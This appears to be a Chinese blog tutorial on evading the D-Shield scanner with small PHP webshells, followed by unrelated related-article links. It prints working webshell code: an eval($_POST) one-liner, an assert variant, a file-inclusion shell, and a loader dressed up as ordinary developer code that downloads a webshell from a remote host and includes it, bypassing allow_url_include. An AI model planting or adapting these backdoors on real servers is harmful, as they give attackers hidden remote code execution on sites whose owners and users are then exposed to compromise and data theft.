在渗透测试过程初期,上传小马,拿到 webshell 再进行下一步的操作,现如今的网站安全更多是

一些云防护、CDN防护、服务器安全软件等等,给渗透测试、提权等带来了一定难度的提升,

今天探讨一下如何做PHP小马的免杀。

小马:体积、代码量比较小的webshell文件,一般借助“中国菜刀”、蚁剑等 shell 链接工具,进行进一步的渗透测试

小马因为代码小,显得更加灵活。就像行军打仗的侦察兵、卧底,里应外合,最后攻下城池

今天的PHP代码免杀,主要是针对D盾

下载了一个最新版的D盾:http://www.d99net.net/

0x01 常见的小马

<?php @eval($_POST['x']); ?>

上述代码可能是大家见过最普通的小马文件了,体积小

但是基本上过不了任何装有了 WAF 或者安全软件的检测

刚在本地编写一个,结果就被 win10 自带的 defender 给杀了,可见其有多弱~

到D盾检查一下:

爆了5级危险

由此可见,这种精简的小马,已经不再适合当下互联网环境

0x02 初步尝试

既然eval()函数无法使用,我们尝试其他的可执行命令的函数呐?

更换assert()函数

同样被检测为高危了,由此,这种更换其他函数的方式,实则换汤不换药,如此免杀小马,肯定是不可行的。

还有别的方法吗?

0x02 从开发者角度思考问题

为什么 PHP 或者其他编程语言当中,会出现这些“危险高权限”函数,因为开发者需要,如果都被安全软件拦截了,那么开发人员又该如何去实现自己的功能呐?

其实,我们免杀的过程就是要从开发者会犯的错误入手,这些看上去符合正常业务逻辑的程序,也可能隐藏着可突破杀软拦截的方法。

文件包含

从文件包含入手

<?php
$file = isset($_GET['file'])?trim($_GET['file']):'<?php @assert($_POST["x"]);?>';
require_once($file);
?>

再来看看,D盾的拦截提示:

3级危险提示,可疑的引用

因为是引用文件,所以提示了可疑

2.2 假装自己是个程序员

仔细一琢磨,哪家的程序员会这样写代码,连函数都没有!!!

幻想自己现在是一名正在加班熬夜写 BUG 的程序猿

那么,我们再写个函数

<?php
error_reporting(0);
/**
* DYBOY写的BUG,通过获取远程小马的代码
**/
function httpGET($target_url, $get_data = array()){
$result = file_get_contents($target_url);
file_put_contents('../xiaoma.txt', $result); //windows本地环境特殊,使用相对路径,linux可以使用“/”即网站根目录
return TRUE;
} $r_file = httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt');
require_once('../xiaoma.txt');
?>

继续优化

和安全似乎有点无关了,本人觉得上面的代码,每次都要去远程获取文件,这种行为是不够优雅的

因此增加一个判断文件是否已存在,增强变量名可读性

<?php
error_reporting(0);
/**
* DYBOY写的BUG,通过获取远程小马的代码
**/
$file_path_name = '../xiaoma.txt'; function httpGET($target_url, $get_data = array()){
$content = file_get_contents($target_url);
file_put_contents($file_path_name, $content); //windows本地环境特殊,使用相对路径,linux可以使用“/”即网站根目录
return TRUE;
} if(!file_exists($file_path_name)){
httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt');
} require_once($file_path_name);
?>

关于为什么不直接读取远程文件的问题,读取远程文件需要 php.ini 中设置 allow_url_include=On;一般来讲,PHP 默认此属性关闭,也很少会有网站会开启此功能,因此将远程文件先下载到本地,再利用 LFI(本地文件包含)方式执行任意代码!

总结

其实脚本的免杀非常灵活,任何的防护软件都得保证程序的基本功能,因此在权衡是正常程序还是异常程序这个点上,单纯的脚本防护能力还是比较弱的

在对攻击进行拦截的方法中,基于攻击大数据训练出来的攻击识别模型,或许才是下一代防火墙要做的事情,不少的 CDN 云防护产品正是基于此

在云防护的保障下,同样要坚信,安全无绝对,面对多维度的攻击,云防护也并不是无懈可击。

浅谈PHP小马免杀的更多相关文章

  1. 浅谈微信小程序对于房地产行业的影响

    前几日,我们曾经整理过一篇文章是关于微信小程序对于在线旅游业的影响的一些反思(浅谈微信小程序对OTA在线旅游市场的影响),近日由于生活工作的需要走访了一些房地产的住宅商品房,突然想到微信小程序对于房地 ...

  2. 浅谈微信小程序对于创业者,意味着什么?

    尽管这个话题,有点儿烂大街,然而作为开发者兼创业人,兹以为很有必要为自己梳理一番. 多年前,当萌生创业的念头时,我是这样在脑海里绘制这幅蓝图的: 我需要一个域名,一个服务器,并且备了案. 我需要至少一 ...

  3. 浅谈微信小程序

    在如火如荼的互联网技术发展中,各种各样的框架出现,当下最受关注的应该就是微信小程序了.从新闻论坛乃至qq群.微信群,很多很多从事IT工作的朋友喜欢讨论研究这个小程序.带着好奇心,我也参与其中. 第一步 ...

  4. 浅谈字体小图标font awesome,iconfont,svg各自优缺点

    三种都是矢量图(即放大不失真),但是个自又有个自的优缺点, 1.font awesome: 优点:相对比较简单,查看官网看例子基本上都会用 (http://www.bootcss.com/p/font ...

  5. 浅谈微信小程序一二

    1.生命周期 1.onLoad():页面加载时触发,一个页面只加载一次. 2.onShow():页面显示切换的时候触发 3.onReady():页面初次渲染完成时触发.一个页面只会调用一次,代表页面已 ...

  6. 浅谈vue,小程序,react基础绑定值

    最近一直在用react开发项目,碰见的问题千千万,很多,但是都殊途同源,唯一区别大的就是没有像vue的双向绑定,也没有小程序的单向方便,比如: vue   v-modal="msg" ...

  7. [转]浅谈微信小程序

    本文转自:http://www.cnblogs.com/liziyou/p/6340159.html 微信小程序 1.什么是小程序 小程序是指微信公众号平台小程序,小程序可以在微信内被便捷的获取和转播 ...

  8. 浅谈微信小程序生命周期

    之前在做微信小程序的时候,一直对生命周期里面的onLoad,onShow,onUnload不是很理解.比如说什么时候会触发onUnload. 经过一段时间的测试发现,普通页面的onUnload在三种情 ...

  9. 浅谈Python小数据池

    什么是小数据池 小数据池是python中提高效率的一种方式,固定数据类型的相同值使用同一内存地址. id 用于获取开辟空间的内存地址 代码块 一个文件,一个模块,一个函数,一个类,终端中的每一行代码都 ...

随机推荐

  1. cf1200 E Compress Words(哈希)

    题意 有n个字符串,记为s1,s2……sn,s2与s1合并,合并的方式为:s1的后缀若与s2的前缀相同,就可以重叠起来,要最长的. 举个例子: “1333”  “33345” → “133345” s ...

  2. scala def方法时等号和括号使用说明笔记

    scala定义方法时会指定入参和返回类型(无返回类型时对应Unit,即java和C中的void模式). 1.有入参,有返回类型时,scala具有类型推导功能,以下两种表达方式效果一样.但根据scala ...

  3. Q6:ZigZag Conversion

    6. ZigZag Conversion 官方的链接:6. ZigZag Conversion Description : The string "PAYPALISHIRING"  ...

  4. 干货 | 快速实现数据导入及简单DCS的实现

    干货 | 快速实现数据导入及简单DCS的实现 原创: 赵琦 京东云开发者社区  4月18日 对于多数用户而言,在利用云计算的大数据服务时首先要面临的一个问题就是如何将已有存量数据快捷的导入到大数据仓库 ...

  5. Cisco连接失败问题处理

    连接公司的VPN时软件一直安装不上,试了几种方法,在此总结. 原文链接:http://www.itsystemadmin.com/error-27850-unable-to-manage-networ ...

  6. 洛谷 P1731 [NOI1999]生日蛋糕 && POJ 1190 生日蛋糕

    题目传送门(洛谷)  OR 题目传送门(POJ) 解题思路: 一道搜索题,暴力思路比较容易想出来,但是这道题不剪枝肯定会TLE.所以这道题难点在于如何剪枝. 1.如果当前状态答案已经比我们以前某个状态 ...

  7. C语言-数组的深入学习

    深入学习一下数组1.从内存角度来讲:数组变量就是一次分配多个变量,而且这些变量的地址是连续的,也就是存放这些变量的存储单元是依次相连接的.而且这多个变量必须单独访问,不可以一起访问的.因为他们的地址彼 ...

  8. Spring(一)——IOC和DI的简单理解

    Spring是一个IOC(DI)和AOP容器框架,并且是开源的. 1.IOC和DI 比较官方的说法: •IOC(Inversion of Control):其思想是反转资源获取的方向. 传统的资源查找 ...

  9. HDU-4460 Friend Chains(BFS&权为1所有最短路的最大值)

    题目: For a group of people, there is an idea that everyone is equals to or less than 6 steps away fro ...

  10. Python—构造单向链表数据类型

    # _*_ coding=utf-8 _*_ class Node: """ 创建链表的属性 """ def __init__(self, ...